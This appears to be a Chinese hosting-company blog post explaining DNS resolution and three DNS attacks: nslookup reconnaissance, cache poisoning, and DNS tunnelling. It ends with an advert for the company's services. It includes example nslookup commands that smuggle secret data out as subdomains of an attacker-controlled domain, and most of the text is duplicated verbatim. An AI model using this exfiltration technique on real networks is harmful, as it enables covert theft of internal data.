DNS的原理是怎样的,DNS漏洞又是被如何利用的?
发布时间:2019-04-03 点击数:1465
服务器租用用户对于DNS应该并不陌生,但DNS的漏洞经常被利用导致服务器遭受攻击,今天小编给大家分享一下DNS的原理是怎样的,DNS漏洞又是被如何利用的?以便于大家日后做好防护。
基于IP协议,两台计算机之间要实现通信有一个前提,就是它们分别有一个IP地址。由于我们大多数人都善于记住www.quanidc.com之类的字串,而非一串如104.196.44.101一般毫无规律的IP地址数字组合,因此,需要一个程序将名称字串翻译成IP地址。
在互联网上储存域名与IP地址间映射关系的一个分布式数据库,能够将名称转换为数字、数字转换为名称的程序就被称为DNS(Domain Name System,域名系统),运行DNS系统的主机就是“DNS服务器”。如果没有DNS,任何互联网访问就都需要我们记住12个数字——服务器的IP地址。
一、DNS工作原理
作为互联网访问中不可或缺的一项技术,了解DNS的运作机理非常重要。
DNS中的域名-IP映射条目被称为“DNS记录”。互联网上需要实现通信的计算机数量过于庞大,将所有DNS记录都记录在一个记录集里,由单台DNS服务器进行存储处理是不切实际的。因此,在DNS体系的设计中,全球的DNS被分成了多个小记录集,这些记录集被称为“域”(Domain)。一个域包含的记录数量仍有可能非常大,因此,域还可以被划分为更小的子集——“区”(Zone)。
因此,互联网上所有的域名-IP映射条目是由许多DNS服务器共同存储的。任何要根据域名查询IP或根据IP查询域名的计算机,都可以向其DNS服务器发起查询,并且DNS服务器还知道如何在多台DNS服务器之间发起查询。当DNS服务器查询其他DNS服务器时,我们称之为“上游”查询。域查询可以不停的向上执行,直至权限域名服务器。
权限域名服务器是管理员对其所管辖域的服务器名和IP地址进行管理的地方。当DNS管理员想要对服务器名或IP地址实施增删改查时,就会在权限域名服务器(也称“主DNS服务器”)上进行操作。另外,还有“从DNS服务器”,用于保存区或域的DNS记录副本。
1. 加载页面用到的四个DNS服务器
域名解析服务器(Resolving name server):自身存有被查询的IP-域名条目或向另一个DNS服务器请求该IP-域名条目,并响应此次查询的服务器。
根域名服务器(Root name server):根区的域名服务器。它直接响应查询请求,并返回相应的顶级域权限域名服务器列表。
顶级域名服务器(TLD name Server):顶级域名服务器(TLD)是Internet上的高级DNS服务器之一。当搜索www.qq.com时,“.com”TLD服务器将首先响应,在其条目中搜索“qq”字串。
权限域名服务器(Authoritative name server):权限域名服务器是DNS查询流程中的最后一站,其存储有某个区的域名条目记录。
2. DNS服务的类型
根据其处理DNS查询的技术机理不同,DNS服务被分为两种类型:
递归DNS服务:递归DNS服务响应DNS查询并向权限域名服务发起域名条目查询,或在其缓存的DNS条目中实施查询。
权限DNS服务:权限DNS服务自身存储DNS条目。因此,如果向权限DNS服务查询其存储的某个IP-域名条目,则无需再向其他服务器发起查询。
3. 公共DNS & 私有DNS
对于需要被公众在互联网上访问的服务器,它需要具有公共DNS记录,并且其IP地址在互联网上可访问,即不会被防火墙等访问控制技术所阻止。任何能够连接到公共DNS服务器的人都可以在且无需身份验证的情况下访问公共DNS服务器。
但是,并非所有的DNS记录都是公开的,为了使员工能够方便地访问企业内网的服务器,不少企业都有自身的私有DNS。私有DNS被用于存放不希望公开到互联网上的企业内部文件服务器、邮件服务器、域控制器、数据库服务器、应用程序服务器等的域名和IP。
有一点需要注意的是,私有DNS服务器和公共DNS服务器一样,对其的访问无需进行身份验证。这主要是因为在DNS技术创建之初,安全性还不是一个需要考虑的技术问题。因此,大多数情况下,企业内部网络中的任何用户都可以在未做身份认证的情况下查询内部DNS服务器存储的信息。
五、DNS常见漏洞
用户内部DNS服务器会存储用户网络域中所有服务器的内部域名与IP,并能够在无需身份认证的情况下实施访问。这使得DNS成为攻击者在内网探测阶段的重要信息来源。
DNS缓存信息并非一定与权限域名服务器一致,攻击者有可能篡改DNS缓存,如果用户内网的DNS服务器被攻击篡改,则使用该DNS服务器发起域名访问的计算机就会被诱骗到错误的服务器。
DNS服务器可能将内网的域名查询从内网工作站递归转发至外网服务器,攻击者可能利用此行为创建内外网之间的“隐通道”来泄露内网数据。
1. 利用DNS实施探测
一旦攻击者穿透防火墙进入用户内网并控制某台计算机,就可以利用内网的DNS服务查找重要的服务器信息,如邮件服务器、域名服务器等各类有价值的信息。如果攻击者具备足够的技术能力,甚至可能利用内部DNS服务器批量发送用户网络中区的信息,此类攻击被称为“DNS区传输攻击”。
以下给出了在Windows操作系统环境中实现该攻击的流程:
打开命令提示符(ctrl+ esc ➡️输入字母“cmd” ➡️回车)
输入“ipconfig”,将看到当前计算机所在的域名、IP地址以及许多其他信息(后续命令中将会使用)
键入“nslookup[IP]”,将看到正在响应请求的DNS服务器名称,如果名称已知,则会显示列出名称和IP地址的DNS记录
键入“nslookup-type=soa [当前计算机所在域名]”, 执行此命令将返回当前计算机的权限DNS服务器,如果您尝试渗透网络,则不会很方便。
键入“nslookup-type=MX [当前计算机所在域名]”,通过执行该命令,攻击者可以准确获知网内邮件服务器的IP信息。
2. 利用DNS实施流量重定向
当用户尝试浏览到某个网站时,他们的计算机会在DNS服务器中查询该网站的IP。如果DNS服务器中存有该记录的缓存,则将直接返回该IP。如果没有,它会查询“上游”DNS服务器,并将结果中继给最终用户,同时缓存该信息以供下次使用。
在目前已知的攻击中,攻击者已经能够伪造DNS响应信息,使其看起来像是来自合法的DNS服务器。要达到这一目标,攻击者可以利用DNS的三个弱点:
DNS对来自上游服务器的响应仅执行非常弱的认证。响应信息只需包含正确的事务ID(一个16位二进制数字(0-65536))。事实证明,要猜出正确的事务ID,技术难度并不大。
DNS服务器接受同时响应多个查询请求,因此攻击者能够同时对事务ID实施多次猜测(与暴力破解密码思路类似)。
DNS使用的IP连接很容易被伪造。这意味着攻击者可以从一台计算机向DNS服务器发送流量,使其看起来像来自另一台计算机,例如另一台真实有效的DNS服务器。容易被伪造的IP连接类型并不多,不幸的是,DNS恰好是其中之一。
一旦攻击者成功伪造了DNS响应消息,则其可以实现篡改接收端DNS服务器的缓存。以下就以一个典型的场景说明这一攻击行为可能造成的严重后果:
假设攻击者了解到用户单位使用外部应用程序来处理经费等重要事务。如果攻击者篡改了用户单位DNS服务器的相关记录,则能够将用户诱骗至攻击者伪造的服务器,诱骗用户在攻击者伪造的登陆页面上录入其账号及口令信息。
更有耐心的攻击者还可能将真实流量转发给真实的服务器(充当“中间人”),因此用户就不会发现攻击正在发生。获取用户的身份信息后,攻击者可以在其他相关系统上尝试使用这些身份信息,或者直接出售这些信息。
3. 利用DNS构建隐通道
假设攻击者已经设法进入了用户单位网络,控制了一台内网计算机,并且已经找到了其想要窃取的关键数据。如何在不留任何痕迹的情况下将数据传输到网外?攻击者可能使用一种被称为“DNS隧道”的技术来实现。通常的做法如下:
(1)攻击者在互联网上设置一个DNS域(如idcbest.com),并创建一个权限域名服务器
(2)在被攻击者控制的主机上,攻击者可以将数据分解为小段并将其插入到一系列DNS查询中,如下所示:
nslookup My1secret1.idcbest.com
nslookup is1that1I1know.idcbest.com
nsllookup your1data.idcbest.com
基于IP协议,两台计算机之间要实现通信有一个前提,就是它们分别有一个IP地址。由于我们大多数人都善于记住www.quanidc.com之类的字串,而非一串如104.196.44.101一般毫无规律的IP地址数字组合,因此,需要一个程序将名称字串翻译成IP地址。
在互联网上储存域名与IP地址间映射关系的一个分布式数据库,能够将名称转换为数字、数字转换为名称的程序就被称为DNS(Domain Name System,域名系统),运行DNS系统的主机就是“DNS服务器”。如果没有DNS,任何互联网访问就都需要我们记住12个数字——服务器的IP地址。
一、DNS工作原理
作为互联网访问中不可或缺的一项技术,了解DNS的运作机理非常重要。
DNS中的域名-IP映射条目被称为“DNS记录”。互联网上需要实现通信的计算机数量过于庞大,将所有DNS记录都记录在一个记录集里,由单台DNS服务器进行存储处理是不切实际的。因此,在DNS体系的设计中,全球的DNS被分成了多个小记录集,这些记录集被称为“域”(Domain)。一个域包含的记录数量仍有可能非常大,因此,域还可以被划分为更小的子集——“区”(Zone)。
因此,互联网上所有的域名-IP映射条目是由许多DNS服务器共同存储的。任何要根据域名查询IP或根据IP查询域名的计算机,都可以向其DNS服务器发起查询,并且DNS服务器还知道如何在多台DNS服务器之间发起查询。当DNS服务器查询其他DNS服务器时,我们称之为“上游”查询。域查询可以不停的向上执行,直至权限域名服务器。
权限域名服务器是管理员对其所管辖域的服务器名和IP地址进行管理的地方。当DNS管理员想要对服务器名或IP地址实施增删改查时,就会在权限域名服务器(也称“主DNS服务器”)上进行操作。另外,还有“从DNS服务器”,用于保存区或域的DNS记录副本。
1. 加载页面用到的四个DNS服务器
域名解析服务器(Resolving name server):自身存有被查询的IP-域名条目或向另一个DNS服务器请求该IP-域名条目,并响应此次查询的服务器。
根域名服务器(Root name server):根区的域名服务器。它直接响应查询请求,并返回相应的顶级域权限域名服务器列表。
顶级域名服务器(TLD name Server):顶级域名服务器(TLD)是Internet上的高级DNS服务器之一。当搜索www.qq.com时,“.com”TLD服务器将首先响应,在其条目中搜索“qq”字串。
权限域名服务器(Authoritative name server):权限域名服务器是DNS查询流程中的最后一站,其存储有某个区的域名条目记录。
2. DNS服务的类型
根据其处理DNS查询的技术机理不同,DNS服务被分为两种类型:
递归DNS服务:递归DNS服务响应DNS查询并向权限域名服务发起域名条目查询,或在其缓存的DNS条目中实施查询。
权限DNS服务:权限DNS服务自身存储DNS条目。因此,如果向权限DNS服务查询其存储的某个IP-域名条目,则无需再向其他服务器发起查询。
3. 公共DNS & 私有DNS
对于需要被公众在互联网上访问的服务器,它需要具有公共DNS记录,并且其IP地址在互联网上可访问,即不会被防火墙等访问控制技术所阻止。任何能够连接到公共DNS服务器的人都可以在且无需身份验证的情况下访问公共DNS服务器。
但是,并非所有的DNS记录都是公开的,为了使员工能够方便地访问企业内网的服务器,不少企业都有自身的私有DNS。私有DNS被用于存放不希望公开到互联网上的企业内部文件服务器、邮件服务器、域控制器、数据库服务器、应用程序服务器等的域名和IP。
有一点需要注意的是,私有DNS服务器和公共DNS服务器一样,对其的访问无需进行身份验证。这主要是因为在DNS技术创建之初,安全性还不是一个需要考虑的技术问题。因此,大多数情况下,企业内部网络中的任何用户都可以在未做身份认证的情况下查询内部DNS服务器存储的信息。
五、DNS常见漏洞
用户内部DNS服务器会存储用户网络域中所有服务器的内部域名与IP,并能够在无需身份认证的情况下实施访问。这使得DNS成为攻击者在内网探测阶段的重要信息来源。
DNS缓存信息并非一定与权限域名服务器一致,攻击者有可能篡改DNS缓存,如果用户内网的DNS服务器被攻击篡改,则使用该DNS服务器发起域名访问的计算机就会被诱骗到错误的服务器。
DNS服务器可能将内网的域名查询从内网工作站递归转发至外网服务器,攻击者可能利用此行为创建内外网之间的“隐通道”来泄露内网数据。
1. 利用DNS实施探测
一旦攻击者穿透防火墙进入用户内网并控制某台计算机,就可以利用内网的DNS服务查找重要的服务器信息,如邮件服务器、域名服务器等各类有价值的信息。如果攻击者具备足够的技术能力,甚至可能利用内部DNS服务器批量发送用户网络中区的信息,此类攻击被称为“DNS区传输攻击”。
以下给出了在Windows操作系统环境中实现该攻击的流程:
打开命令提示符(ctrl+ esc ➡️输入字母“cmd” ➡️回车)
输入“ipconfig”,将看到当前计算机所在的域名、IP地址以及许多其他信息(后续命令中将会使用)
键入“nslookup[IP]”,将看到正在响应请求的DNS服务器名称,如果名称已知,则会显示列出名称和IP地址的DNS记录
键入“nslookup-type=soa [当前计算机所在域名]”, 执行此命令将返回当前计算机的权限DNS服务器,如果您尝试渗透网络,则不会很方便。
键入“nslookup-type=MX [当前计算机所在域名]”,通过执行该命令,攻击者可以准确获知网内邮件服务器的IP信息。
2. 利用DNS实施流量重定向
当用户尝试浏览到某个网站时,他们的计算机会在DNS服务器中查询该网站的IP。如果DNS服务器中存有该记录的缓存,则将直接返回该IP。如果没有,它会查询“上游”DNS服务器,并将结果中继给最终用户,同时缓存该信息以供下次使用。
在目前已知的攻击中,攻击者已经能够伪造DNS响应信息,使其看起来像是来自合法的DNS服务器。要达到这一目标,攻击者可以利用DNS的三个弱点:
DNS对来自上游服务器的响应仅执行非常弱的认证。响应信息只需包含正确的事务ID(一个16位二进制数字(0-65536))。事实证明,要猜出正确的事务ID,技术难度并不大。
DNS服务器接受同时响应多个查询请求,因此攻击者能够同时对事务ID实施多次猜测(与暴力破解密码思路类似)。
DNS使用的IP连接很容易被伪造。这意味着攻击者可以从一台计算机向DNS服务器发送流量,使其看起来像来自另一台计算机,例如另一台真实有效的DNS服务器。容易被伪造的IP连接类型并不多,不幸的是,DNS恰好是其中之一。
一旦攻击者成功伪造了DNS响应消息,则其可以实现篡改接收端DNS服务器的缓存。以下就以一个典型的场景说明这一攻击行为可能造成的严重后果:
假设攻击者了解到用户单位使用外部应用程序来处理经费等重要事务。如果攻击者篡改了用户单位DNS服务器的相关记录,则能够将用户诱骗至攻击者伪造的服务器,诱骗用户在攻击者伪造的登陆页面上录入其账号及口令信息。
更有耐心的攻击者还可能将真实流量转发给真实的服务器(充当“中间人”),因此用户就不会发现攻击正在发生。获取用户的身份信息后,攻击者可以在其他相关系统上尝试使用这些身份信息,或者直接出售这些信息。
3. 利用DNS构建隐通道
假设攻击者已经设法进入了用户单位网络,控制了一台内网计算机,并且已经找到了其想要窃取的关键数据。如何在不留任何痕迹的情况下将数据传输到网外?攻击者可能使用一种被称为“DNS隧道”的技术来实现。通常的做法如下:
(1)攻击者在互联网上设置一个DNS域(如idcbest.com),并创建一个权限域名服务器
(2)在被攻击者控制的主机上,攻击者可以将数据分解为小段并将其插入到一系列DNS查询中,如下所示:
nslookup My1secret1.idcbest.com
nslookup is1that1I1know.idcbest.com
nsllookup your1data.idcbest.com
(3)用户单位的DNS服务器将接收这些请求,并将这些请求转发回idcbest.com的权限域名服务器。攻击者在其权限域名服务器接收到上述流量后,则可以运行程序以提取查询信息的第一部分(.idcbest.com前的内容)并将其重新组合,从而将用户网内的数据不留痕迹地传输到网外(此例中传输的数据是“My secret is that I know your data.”)。而用户单位可能永远不会意识到他们的DNS服务器被用于泄露自身的数据。
以上就是DNS的原理和漏洞的利用,虽然说DNS漏洞容易被利用,但是互联网每天机器都要依赖它,所幸的是通过监控DNS服务器并应用安全数据分析,目前已有大量技术可以检测并阻止这些攻击。在全网数据,机房有完善的防护措施,并有专业技术团队提供7x24小时服务,可以有效的保障服务器安全稳定运行,全网数据主要提供深圳服务器租用,深圳服务器托管,深圳主机租用,宽带租用等服务,更多详情欢迎咨询客服了解。
上一篇:网站服务器租用渗透测试该怎么做?